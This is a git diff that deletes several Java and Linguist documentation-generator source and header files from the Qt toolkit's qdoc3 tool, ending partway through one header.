/dev/null @@ -1,99 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - jambiapiparser.h -*/ - -#ifndef JAMBIAPIPARSER_H -#define JAMBIAPIPARSER_H - -#include -#include - -#include "codeparser.h" - -QT_BEGIN_NAMESPACE - -struct ClassOrEnumInfo -{ - QString tag; - QString javaName; - QString cppName; - Node *javaNode; - Node *cppNode; - - ClassOrEnumInfo() : javaNode(0), cppNode(0) {} -}; - -class JambiApiParser : public CodeParser, private QXmlDefaultHandler -{ -public: - JambiApiParser(Tree *cppTree); - ~JambiApiParser(); - - void initializeParser(const Config &config); - void terminateParser(); - QString language(); - QString sourceFileNameFilter(); - void parseSourceFile(const Location &location, const QString &filePath, Tree *tree); - virtual void doneParsingSourceFiles(Tree *tree); - -private: - bool startElement(const QString &namespaceURI, const QString &localName, - const QString &qName, const QXmlAttributes &attributes); - bool endElement(const QString &namespaceURI, const QString &localName, - const QString &qName); - bool fatalError(const QXmlParseException &exception); - void jambifyDocsPass2(Node *node); - bool makeFunctionNode(InnerNode *parent, const QString &synopsis, FunctionNode **funcPtr); - - Tree *cppTre; - Tree *javaTre; - - bool metJapiTag; - Location japiLocation; - QStack classAndEnumStack; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/javacodemarker.cpp b/tools/qdoc3/javacodemarker.cpp deleted file mode 100644 index c9a8f60..0000000 --- a/tools/qdoc3/javacodemarker.cpp +++ /dev/null @@ -1,203 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - javacodemarker.cpp -*/ - -#include "javacodemarker.h" -#include "node.h" -#include "text.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -JavaCodeMarker::JavaCodeMarker() -{ -} - -JavaCodeMarker::~JavaCodeMarker() -{ -} - -bool JavaCodeMarker::recognizeCode( const QString& /* code */ ) -{ - return true; -} - -bool JavaCodeMarker::recognizeExtension( const QString& ext ) -{ - return ext == "java"; -} - -bool JavaCodeMarker::recognizeLanguage( const QString& lang ) -{ - return lang == "Java"; -} - -QString JavaCodeMarker::plainName( const Node *node ) -{ - return node->name(); -} - -QString JavaCodeMarker::plainFullName( const Node *node, const Node * /* relative */ ) -{ - if (!node) - return QString(); - - QString fullName; - for ( ;; ) { - fullName.prepend( plainName(node) ); - if ( node->parent() && node->parent()->name().isEmpty() ) - break; - node = node->parent(); - if (!node) - break; - fullName.prepend("."); - } - return fullName; -} - -QString JavaCodeMarker::markedUpCode( const QString& code, - const Node * /* relative */, - const QString& /* dirPath */ ) -{ - return protect( code ); -} - -QString JavaCodeMarker::markedUpSynopsis(const Node * /* node */, - const Node * /* relative */, - SynopsisStyle /* style */) -{ - return QString(); -} - -QString JavaCodeMarker::markedUpName( const Node *node ) -{ - return linkTag(node, taggedNode(node)); -} - -QString JavaCodeMarker::markedUpFullName(const Node *node, const Node * /* relative */ ) -{ - QString fullName; - for ( ;; ) { - fullName.prepend( markedUpName(node) ); - if ( node->parent()->name().isEmpty() ) - break; - node = node->parent(); - fullName.prepend( "." ); - } - return fullName; -} - -QString JavaCodeMarker::markedUpEnumValue(const QString &enumValue, - const Node * /* relative */) -{ - return protect(enumValue); -} - -QString JavaCodeMarker::markedUpIncludes( const QStringList& /* includes */ ) -{ - return QString(); -} - -QString JavaCodeMarker::functionBeginRegExp( const QString& /* funcName */) -{ - return "^x$"; // ### invalid regexp -} - -QString JavaCodeMarker::functionEndRegExp( const QString& /* funcName */ ) -{ - return "^}"; -} - -QList
    JavaCodeMarker::sections(const InnerNode * /* inner */, SynopsisStyle /* style */, - Status /* status */) -{ - return QList
    (); -} - -const Node *JavaCodeMarker::resolveTarget(const QString &target, - const Tree *tree, - const Node *relative, - const Node* /* self */) -{ - if (target.endsWith("()")) { - const FunctionNode *func; - QString funcName = target; - funcName.chop(2); - - QStringList path = funcName.split('.'); - if ((func = tree->findFunctionNode(path, relative, Tree::SearchBaseClasses))) - return func; - } else if (target.contains("#")) { - int hashAt = target.indexOf("#"); - QString link = target.left(hashAt); - QString ref = target.mid(hashAt + 1); - const Node *node; - if (link.isEmpty()) { - node = relative; - } else { - QStringList path(link); - node = tree->findNode(path, tree->root(), Tree::SearchBaseClasses); - } - if (node && node->isInnerNode()) { - const Atom *atom = node->doc().body().firstAtom(); - while (atom) { - if (atom->type() == Atom::Target && atom->string() == ref) { - Node *parentNode = const_cast(node); - return new TargetNode(static_cast(parentNode), - ref); - } - atom = atom->next(); - } - } - } else { - QStringList path = target.split('.'); - const Node *node; - if ((node = tree->findNode(path, relative, - Tree::SearchBaseClasses | Tree::SearchEnumValues))) - return node; - } - return 0; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/javacodemarker.h b/tools/qdoc3/javacodemarker.h deleted file mode 100644 index c2aabc0..0000000 --- a/tools/qdoc3/javacodemarker.h +++ /dev/null @@ -1,83 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - javacodemarker.h -*/ - -#ifndef JAVACODEMARKER_H -#define JAVACODEMARKER_H - -#include "codemarker.h" - -QT_BEGIN_NAMESPACE - -class JavaCodeMarker : public CodeMarker -{ -public: - JavaCodeMarker(); - ~JavaCodeMarker(); - - bool recognizeCode( const QString& code ); - bool recognizeExtension( const QString& ext ); - bool recognizeLanguage( const QString& lang ); - QString plainName(const Node *node); - QString plainFullName(const Node *node, const Node *relative); - QString markedUpCode( const QString& code, const Node *relative, - const QString& dirPath ); - QString markedUpSynopsis( const Node *node, const Node *relative, - SynopsisStyle style ); - QString markedUpName( const Node *node ); - QString markedUpFullName( const Node *node, const Node *relative ); - QString markedUpEnumValue(const QString &enumValue, const Node *relative); - QString markedUpIncludes( const QStringList& includes ); - QList
    sections(const InnerNode *innerNode, SynopsisStyle style, Status status); - QString functionBeginRegExp( const QString& funcName ); - QString functionEndRegExp( const QString& funcName ); - const Node* resolveTarget( const QString& target, - const Tree* tree, - const Node* relative, - const Node* self = 0 ); -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/javadocgenerator.cpp b/tools/qdoc3/javadocgenerator.cpp deleted file mode 100644 index eb9c1c9..0000000 --- a/tools/qdoc3/javadocgenerator.cpp +++ /dev/null @@ -1,454 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "javadocgenerator.h" - -QT_BEGIN_NAMESPACE - -enum JavaSignatureSyntax { - GeneratedJdocFile, - JavadocRef, - SlotSignature -}; - -static QString javaSignature(const FunctionNode *func, JavaSignatureSyntax syntax, - int maxParams = 65535) -{ - maxParams = qMin(maxParams, func->parameters().count()); - - QString result; - - if (syntax == GeneratedJdocFile) { - if (func->access() == Node::Public) { - result += "public "; - } else if (func->access() == Node::Protected) { - result += "protected "; - } else { - result += "private "; - } - - if (func->metaness() == FunctionNode::Native) - result += "native "; - - if (func->isConst()) - result += "final "; - - // ### func->metaness() == FunctionNode::Abstract - - if (func->isStatic()) - result += "static "; - - if (!func->returnType().isEmpty()) { - result += func->returnType(); - result += ' '; - } - } - - if (syntax == SlotSignature) { - result += "void mySlot"; - } else { - result += func->name(); - } - result += '('; - for (int i = 0; i < maxParams; ++i) { - if (i != 0) - result += ", "; - result += func->parameters().at(i).leftType(); - if (syntax != JavadocRef) { - result += ' '; - result += func->parameters().at(i).name(); - } - } - result += ')'; - - return result; -} - -static QString packageName(const Node *node) -{ - while (node && node->type() != Node::Class && node->type() != Node::Fake) - node = node->parent(); - if (!node) - return QString(); - return node->moduleName(); -} - -JavadocGenerator::JavadocGenerator() - : oldDevice(0), currentDepth(0) -{ -} - -JavadocGenerator::~JavadocGenerator() -{ -} - -void JavadocGenerator::initializeGenerator(const Config &config) -{ - HtmlGenerator::initializeGenerator(config); - - formattingLeftMap().insert(ATOM_FORMATTING_PARAMETER, - formattingLeftMap().value(ATOM_FORMATTING_TELETYPE)); - formattingRightMap().insert(ATOM_FORMATTING_PARAMETER, - formattingRightMap().value(ATOM_FORMATTING_TELETYPE)); -} - -void JavadocGenerator::terminateGenerator() -{ - HtmlGenerator::terminateGenerator(); -} - -QString JavadocGenerator::format() -{ - return "javadoc"; -} - -void JavadocGenerator::generateTree(const Tree *tree, CodeMarker *marker) -{ - HtmlGenerator::generateTree(tree, marker); -} - -QString JavadocGenerator::fileExtension(const Node *node) const -{ - if (node->type() == Node::Fake) { - return "html"; - } else { - return "jdoc"; - } -} - -QString JavadocGenerator::typeString(const Node *node) -{ - if (node->type() == Node::Function) { - const FunctionNode *func = static_cast(node); - return func->metaness() == FunctionNode::Signal ? "signal" : "method"; - } else { - return HtmlGenerator::typeString(node); - } -} - -QString JavadocGenerator::imageFileName(const Node *relative, const QString& fileBase) -{ - QString result = HtmlGenerator::imageFileName(relative, fileBase); - if (!result.isEmpty()) { - QString package = packageName(relative); - int numSubPackages = package.count('.') - 2; - while (numSubPackages > 0) { - result.prepend("%2E%2E/"); // javadoc 1.5.0_06 chokes on '../' - --numSubPackages; - } - } - return result; -} - -static int textDepth = 0; - -void JavadocGenerator::startText(const Node *relative, CodeMarker *marker) -{ - if (textDepth++ == 0 && relative->type() != Node::Fake) { - Q_ASSERT(!oldDevice); - oldDevice = out().device(); - Q_ASSERT(oldDevice); - out().setString(&buffer); - } - HtmlGenerator::startText(relative, marker); -} - -void JavadocGenerator::endText(const Node *relative, CodeMarker *marker) -{ - HtmlGenerator::endText(relative, marker); - if (--textDepth == 0 && relative->type() != Node::Fake) { - Q_ASSERT(oldDevice); - out().setDevice(oldDevice); - oldDevice = 0; - - /* - Need to escape XML metacharacters in .jdoc files. - */ - buffer.replace("*/", "*<!-- noop -->/"); - buffer.replace("&", "&"); - buffer.replace("\"", """); - buffer.replace("<", "<"); - buffer.replace(">", ">"); - out() << buffer; - buffer.clear(); - } -} - -int JavadocGenerator::generateAtom(const Atom *atom, const Node *relative, CodeMarker *marker) -{ - return HtmlGenerator::generateAtom(atom, relative, marker); -} - -void JavadocGenerator::generateClassLikeNode(const InnerNode *inner, CodeMarker *marker) -{ - generateIndent(); - out() << "name()) << "\""; - generateDoc(inner, marker); - out() << ">\n"; - - ++currentDepth; - foreach (Node *node, inner->childNodes()) { - if (node->isInnerNode()) { - generateClassLikeNode(static_cast(node), marker); - } else { - if (node->type() == Node::Enum) { - EnumNode *enume = static_cast(node); - - generateIndent(); - out() << "name()) << "\""; - generateDoc(node, marker); - out() << ">\n"; - - ++currentDepth; - const QList &items = enume->items(); - for (int i = 0; i < items.count(); ++i) { - const EnumItem &item = items.at(i); - generateIndent(); - out() << "\n"; - } - --currentDepth; - - out() << "\n"; - } else if (node->type() == Node::Function) { - FunctionNode *func = static_cast(node); - generateIndent(); - out() << (func->metaness() == FunctionNode::Signal ? "\n"; - } - } - } - --currentDepth; - - generateIndent(); - out() << "\n"; -} - -void JavadocGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) -{ - HtmlGenerator::generateFakeNode(fake, marker); -} - -bool JavadocGenerator::generateText(const Text& text, const Node *relative, CodeMarker *marker) -{ - HtmlGenerator::generateText(text, relative, marker); - return true; -} - -void JavadocGenerator::generateBody(const Node *node, CodeMarker *marker) -{ - generateText(node->doc().body(), node, marker); -} - -void JavadocGenerator::generateAlsoList( const Node *node, CodeMarker *marker ) -{ - QList alsoList = node->doc().alsoList(); - supplementAlsoList(node, alsoList); - - if (node->type() == Node::Fake - || (node->type() == Node::Function - && static_cast(node)->metaness() == FunctionNode::Signal)) { - Text text; - - if (!alsoList.isEmpty()) { - text << Atom(Atom::ListLeft, ATOM_LIST_TAG) - << Atom(Atom::ListTagLeft, ATOM_LIST_TAG) - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_BOLD) - << "See Also:" - << Atom(Atom::FormattingRight, ATOM_FORMATTING_BOLD) - << Atom(Atom::ListTagRight, ATOM_LIST_TAG) - << Atom(Atom::ListItemLeft, ATOM_LIST_TAG); - - for (int i = 0; i < alsoList.count(); ++i) { - if (i != 0) - text << ", "; - text << alsoList.at(i); - } - text << Atom(Atom::ListItemRight, ATOM_LIST_TAG) - << Atom(Atom::ListRight, ATOM_LIST_TAG); - } - - generateText(text, node, marker); - } else { - foreach (const Text &text, alsoList) { - out() << "\n@see "; - generateText(text, node, marker); - } - } -} - -QString JavadocGenerator::refForNode( const Node *node ) -{ - if (node->type() == Node::Function) - return javaSignature(static_cast(node), JavadocRef); - - return HtmlGenerator::refForNode(node); -} - -QString JavadocGenerator::linkForNode( const Node *node, const Node *relative ) -{ - // ### EVIL, relative should never be null - if (!relative) - relative = node; - - if (packageName(node).isEmpty()) { - // ### jasmin: Fixme - return QString(); - } - - QString result; - if (node->type() == Node::Fake) { - result = node->name(); - } else { - if (!node->isInnerNode()) { - result = linkForNode(node->parent(), relative) + "#" + refForNode(node); - } else { - result = node->name() + ".html"; - } - } - - QStringList nodePackage = packageName(node).split("."); - QStringList relativePackage = packageName(relative).split("."); - if (nodePackage == QStringList(QString()) || relativePackage == QStringList(QString())) { - qWarning("I'm in trouble [%s][%s]", qPrintable(node->name()), qPrintable(relative->name())); - return QString(); - } - - int i = nodePackage.count() - 1; - while (nodePackage.value(i) != relativePackage.value(i)) { - result.prepend(nodePackage.at(i) + "/"); - --i; - } - - ++i; - while (i < relativePackage.count()) { - result.prepend("%2E%2E/"); // javadoc 1.5.0_06 chokes on '../' - ++i; - } - - return result; -} - -QString JavadocGenerator::refForAtom(Atom *atom, const Node *node) -{ - return HtmlGenerator::refForAtom(atom, node); -} - -/* - Neutralize dumb functions called from HtmlGenerator. -*/ -void JavadocGenerator::generateDcf(const QString & /* fileBase */, const QString & /* startPage */, - const QString & /* title */, DcfSection & /* dcfRoot */) -{ -} - -void JavadocGenerator::generateIndex(const QString & /* fileBase */, const QString & /* url */, - const QString & /* title */) -{ -} - -void JavadocGenerator::generateIndent() -{ - for (int i = 0; i < currentDepth; ++i) - out() << " "; -} - -void JavadocGenerator::generateDoc(const Node *node, CodeMarker *marker) -{ - const Text &text = node->doc().body(); - if (!text.isEmpty()) { - out() << " doc=\"/**\n"; - Generator::generateStatus(node, marker); - generateText(text, node, marker); - if (node && node->type() == Node::Function) { - const FunctionNode *func = static_cast(node); - if (func->metaness() == FunctionNode::Signal) { - QStringList slotSignatures; - for (int i = func->parameters().count(); i >= 0; --i) - slotSignatures += javaSignature(func, SlotSignature, i); - - Text text; - - text << Atom(Atom::ListLeft, ATOM_LIST_TAG) - << Atom(Atom::ListTagLeft, ATOM_LIST_TAG) - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_BOLD); - - if (slotSignatures.count() == 1) { - text << "Compatible Slot Signature:"; - } else { - text << "Compatible Slot Signatures:"; - } - - text << Atom(Atom::FormattingRight, ATOM_FORMATTING_BOLD) - << Atom(Atom::ListTagRight, ATOM_LIST_TAG); - - for (int i = 0; i < slotSignatures.count(); ++i) { - text << Atom(Atom::ListItemLeft, ATOM_LIST_TAG) - << Atom(Atom::C, marker->markedUpCode(slotSignatures.at(i), 0, "")) - << Atom(Atom::ListItemRight, ATOM_LIST_TAG); - } - text << Atom(Atom::ListRight, ATOM_LIST_TAG); - generateText(text, node, marker); - } - } - if (node) - generateAlsoList(node, marker); - out() << " */\""; - } -} - -void JavadocGenerator::generateEnumItemDoc(const Text &text, const Node *node, CodeMarker *marker) -{ - out() << " doc=\"/**\n"; - if (text.isEmpty()) { - out() << "Internal."; - } else { - generateText(text, node, marker); - } - out() << " */\""; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/javadocgenerator.h b/tools/qdoc3/javadocgenerator.h deleted file mode 100644 index b485502..0000000 --- a/tools/qdoc3/javadocgenerator.h +++ /dev/null @@ -1,95 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef JAVADOCGENERATOR_H -#define JAVADOCGENERATOR_H - -#include "htmlgenerator.h" - -QT_BEGIN_NAMESPACE - -class JavadocGenerator : public HtmlGenerator -{ -public: - JavadocGenerator(); - ~JavadocGenerator(); - - void initializeGenerator(const Config &config); - void terminateGenerator(); - QString format(); - bool canHandleFormat(const QString &format) { return format == "HTML" || format == "javadoc"; } - void generateTree(const Tree *tree, CodeMarker *marker); - QString typeString(const Node *node); - QString imageFileName(const Node *relative, const QString &fileBase); - -protected: - QString fileExtension(const Node *node) const; - void startText( const Node *relative, CodeMarker *marker ); - void endText( const Node *relative, CodeMarker *marker ); - int generateAtom( const Atom *atom, const Node *relative, CodeMarker *marker ); - void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker); - void generateFakeNode( const FakeNode *fake, CodeMarker *marker ); - - bool generateText( const Text& text, const Node *relative, CodeMarker *marker ); - void generateBody( const Node *node, CodeMarker *marker ); - void generateAlsoList( const Node *node, CodeMarker *marker ); - - QString refForNode( const Node *node ); - QString linkForNode( const Node *node, const Node *relative ); - QString refForAtom(Atom *atom, const Node *node); - -private: - void generateDcf(const QString &fileBase, const QString &startPage, - const QString &title, DcfSection &dcfRoot); - void generateIndex(const QString &fileBase, const QString &url, - const QString &title); - void generateIndent(); - void generateDoc(const Node *node, CodeMarker *marker); - void generateEnumItemDoc(const Text &text, const Node *node, CodeMarker *marker); - - QString buffer; - QIODevice *oldDevice; - int currentDepth; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/linguistgenerator.cpp b/tools/qdoc3/linguistgenerator.cpp deleted file mode 100644 index 702f0fb..0000000 --- a/tools/qdoc3/linguistgenerator.cpp +++ /dev/null @@ -1,245 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - linguistgenerator.cpp -*/ - -#include "codemarker.h" -#include "pagegenerator.h" -#include "linguistgenerator.h" -#include "node.h" -#include "separator.h" -#include "tree.h" -#include - -#include -#include - -QT_BEGIN_NAMESPACE - -#define COMMAND_VERSION Doc::alias("version") - -LinguistGenerator::LinguistGenerator() - : PageGenerator() -{ -} - -LinguistGenerator::~LinguistGenerator() -{ -} - -void LinguistGenerator::initializeGenerator(const Config &config) -{ - Generator::initializeGenerator(config); -} - -void LinguistGenerator::terminateGenerator() -{ - PageGenerator::terminateGenerator(); -} - -QString LinguistGenerator::format() -{ - return "Linguist"; -} - -QString LinguistGenerator::fileExtension(const Node * /* node */) const -{ - return "ts"; -} - -void LinguistGenerator::generateClassLikeNode(const InnerNode *inner, CodeMarker *marker) -{ - out().setCodec("UTF-8"); - - QDomDocument document("TS"); - QDomElement documentElement = document.createElement("TS"); - documentElement.setAttribute("version", "1.1"); - - QList contextElements = generateIndexSections(document, inner, marker); - foreach (const QDomElement &element, contextElements) - documentElement.appendChild(element); - - QDomProcessingInstruction process = document.createProcessingInstruction( - "xml", QString("version=\"1.0\" encoding=\"%1\"").arg("UTF-8")); - document.appendChild(process); - document.appendChild(documentElement); - - out() << document; - out().flush(); -} - -void LinguistGenerator::generateFakeNode( const FakeNode *fake, CodeMarker *marker ) -{ - out().setCodec("utf-8"); - - QDomDocument document("TS"); - QDomElement documentElement = document.createElement("TS"); - documentElement.setAttribute("version", "1.1"); - - QList contextElements = generateIndexSections(document, fake, marker); - foreach (const QDomElement &element, contextElements) - documentElement.appendChild(element); - - QDomProcessingInstruction process = document.createProcessingInstruction( - "xml", QString("version=\"1.0\" encoding=\"%1\"").arg("utf-8")); - document.appendChild(process); - document.appendChild(documentElement); - - out() << document; - out().flush(); -} - -QList LinguistGenerator::generateIndexSections( - QDomDocument &document, const Node *node, CodeMarker *marker) -{ - QList contexts; - - if (node->isInnerNode()) { - const InnerNode *inner = static_cast(node); - - foreach (const Node *child, inner->childNodes()) { - // Recurse to generate a DOM element for this child node and all - // its children. - contexts += generateIndexSections(document, child, marker); - } -/* - foreach (const Node *child, inner->relatedNodes()) { - QDomElement childElement = generateIndexSections(document, child, marker); - element.appendChild(childElement); - } -*/ - } - - // Add documentation to this node if it exists. - if (!node->doc().isEmpty()) { - - QString nodeName = fullName(node); - QString signature; - - if (node->type() == Node::Function) { - QStringList pieces; - const FunctionNode *functionNode = static_cast(node); - foreach (const Parameter ¶meter, functionNode->parameters()) { - QString typeString = parameter.leftType() + parameter.rightType(); - if (typeString.split(" ").size() > 1) - pieces.append(typeString + parameter.name()); - else - pieces.append(typeString + " " + parameter.name()); - } - signature = "(" + pieces.join(", ") + ")"; - } - - QDomElement contextElement = document.createElement("context"); - QDomElement nameElement = document.createElement("name"); - nameElement.appendChild(document.createTextNode(nodeName + signature)); - contextElement.appendChild(nameElement); - - QDomElement messageElement = document.createElement("message"); - contextElement.appendChild(messageElement); - - QDomElement sourceElement = document.createElement("source"); - QString sourceText = simplified(node->doc().source()); - if (!signature.isEmpty() && signature != "()" && !sourceText.contains("\\fn")) - sourceText.prepend(QString("\\fn %1%2\n").arg(nodeName).arg(signature)); - sourceElement.appendChild(document.createTextNode(sourceText)); - messageElement.appendChild(sourceElement); - - QDomElement translationElement = document.createElement("translation"); - translationElement.setAttribute("type", "unfinished"); - messageElement.appendChild(translationElement); - - QDomElement locationElement = document.createElement("location"); - locationElement.setAttribute("filename", node->doc().location().filePath()); - locationElement.setAttribute("line", node->doc().location().lineNo()); - messageElement.appendChild(locationElement); - - contexts.append(contextElement); - } - - return contexts; -} - -QString LinguistGenerator::fullName(const Node *node) const -{ - if (!node) - return ""; - else if (node->parent() && !node->parent()->name().isEmpty()) - return fullName(node->parent()) + "::" + node->name(); - else - return node->name(); -} - -QString LinguistGenerator::simplified(const QString &text) const -{ - QStringList lines = text.split("\n"); - - while (lines.size() > 0 && lines.first().trimmed().isEmpty()) - lines.pop_front(); - - while (lines.size() > 0 && lines.last().trimmed().isEmpty()) - lines.pop_back(); - - int min = 0; - bool set = false; - foreach (const QString &line, lines) { - int j = 0; - while (j < line.length()) { - if (line[j] != ' ') - break; - ++j; - } - if (j < line.length()) { - if (!set) { - min = j; - set = true; - } else - min = qMin(min, j); - } - } - for (int i = 0; i < lines.size(); ++i) - lines[i] = lines[i].mid(min); - - return lines.join("\n"); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/linguistgenerator.h b/tools/qdoc3/linguistgenerator.h deleted file mode 100644 index 979db02..0000000 --- a/tools/qdoc3/linguistgenerator.h +++ /dev/null @@ -1,85 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - LinguistGenerator.h -*/ - -#ifndef LINGUISTGENERATOR_H -#define LINGUISTGENERATOR_H - -#include -#include -#include - -#include "codemarker.h" -#include "config.h" -#include "pagegenerator.h" - -QT_BEGIN_NAMESPACE - -class LinguistGenerator : public PageGenerator -{ -public: - LinguistGenerator(); - ~LinguistGenerator(); - - virtual void initializeGenerator( const Config& config ); - virtual void terminateGenerator(); - virtual QString format(); - 